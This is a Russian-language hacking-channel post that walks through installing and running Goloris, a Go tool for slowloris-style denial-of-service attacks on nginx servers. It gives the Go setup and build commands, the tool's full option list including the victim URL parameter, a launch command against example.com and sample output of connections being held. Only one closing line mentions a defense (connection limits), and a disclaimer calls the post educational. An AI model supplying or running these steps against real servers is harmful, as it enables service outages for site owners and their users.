Goloris — утилита DOS атаки

Goloris — утилита DOS атаки

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

На всякий случай, DoS — хакерская атака на вычислительную систему с целью довести её до отказа.

Goloris - утилита написанная на Golang для осуществления DoS атаки. Она пытается занять все доступные TCP соединения тем самым нарушив его работу.Если все пройдет удачно, то в конечном итоге никакой другой клиент не сможет подключиться к серверу. Она поддерживает https а так же требует не большое количество ресурсов памяти и процессора исходя из документации.Кому интересно так же может ознакомиться подробнее с кодом утилиты, благодаря понятному и лаконичному синтаксису Go. 

Установка и использование

Если в вашей ОС отсутствует Golang, вам нужно его добавить.

Перейдите на страницу:  https://golang.org/dl.

Загрузите последнюю версию в моем случае для Linux.

Откройте терминал и перейдите в папку загрузок:

 cd /root/Downloads

Распакуйте файлы:

 tar -C /usr/local/ -xzf go1.13.6.linux-amd64.tar.gz

Добавьте переменные для GO, изменив «~ / .bashrc»:

 nano ~/.bashrc

Добавьте следующие пути в конец файла:

 export GOPATH=/root/go-workspace

export GOROOT=/usr/local/go

PATH=$PATH:$GOROOT/bin/:$GOPATH/bin

Теперь нам нужно обновить bashrc, чтобы получить обновленные переменные

 source ~/.bashrc

Нужно убедиться, что все настроено правильно, и мы можем сделать это, создав простую программу «Hello World» на Go.

 nano helloworld.go

Добавьте следующий код в файл: 

package main
import "fmt"
func main() {
fmt.Printf("Hello world!\n")
}

Затем сохраните файл и попробуйте запустить программу: 

go run helloworld.go

Если все настроено правильно, вы должны увидеть сообщение Hello World.

Выполните следующие команды:

Скачиваем - go get -u -a github.com/valyala/goloris

Билдим - go build github.com/valyala/goloris

Параметры ./goloris -h :

  -contentLength int
        The maximum length of fake POST body in bytes. Adjust to nginx's client_max_body_size (default 1000000)
  -dialWorkersCount int
        The number of workers simultaneously busy with opening new TCP connections (default 10)
  -goMaxProcs int
        The maximum number of CPUs to use. Don't touch :) (default 4)
  -hostHeader string
        Host header value in case it is different than the hostname in victimUrl
  -rampUpInterval duration
        Interval between new connections' acquisitions for a single dial worker (see dialWorkersCount) (default 1s)
  -sleepInterval duration
        Sleep interval between subsequent packets sending. Adjust to nginx's client_body_timeout (default 10s)
  -testDuration duration
        Test duration (default 1h0m0s)
  -victimUrl string
        Victim's url. Http POST must be allowed in nginx config for this url (default "http://127.0.0.1/")

Если вы хотите оставить все параметры по умолчанию и запустить утилиту, вам достаточно будет прописать команду:

 ./goloris -victimUrl https://example.com

Пример работы утилиты с стандартными параметрами:

contentLength=1000000
dialWorkersCount=10
goMaxProcs=4
hostHeader=
rampUpInterval=1s
sleepInterval=10s
testDuration=1h0m0s
victimUrl=https://example.com
2020/07/15 13:24:22 Holding 1 connections
2020/07/15 13:24:22 Holding 2 connections
2020/07/15 13:24:23 Holding 3 connections
2020/07/15 13:24:23 Holding 4 connections

Один из вариантов защиты: Ограничить количество одновременных соединений TCP от одного и того же IP. Например, connlimit в iptables или http://nginx.org/en/docs/http/ngx_http_limit_conn_module.html.

С удовольствием выслушаю ваши варианты.

Так же интересно какие утилиты чаще приходилось использовать вам? 

И помните что в первую очередь данная статья написана в ознакомительных целях.​​

Источник


Report Page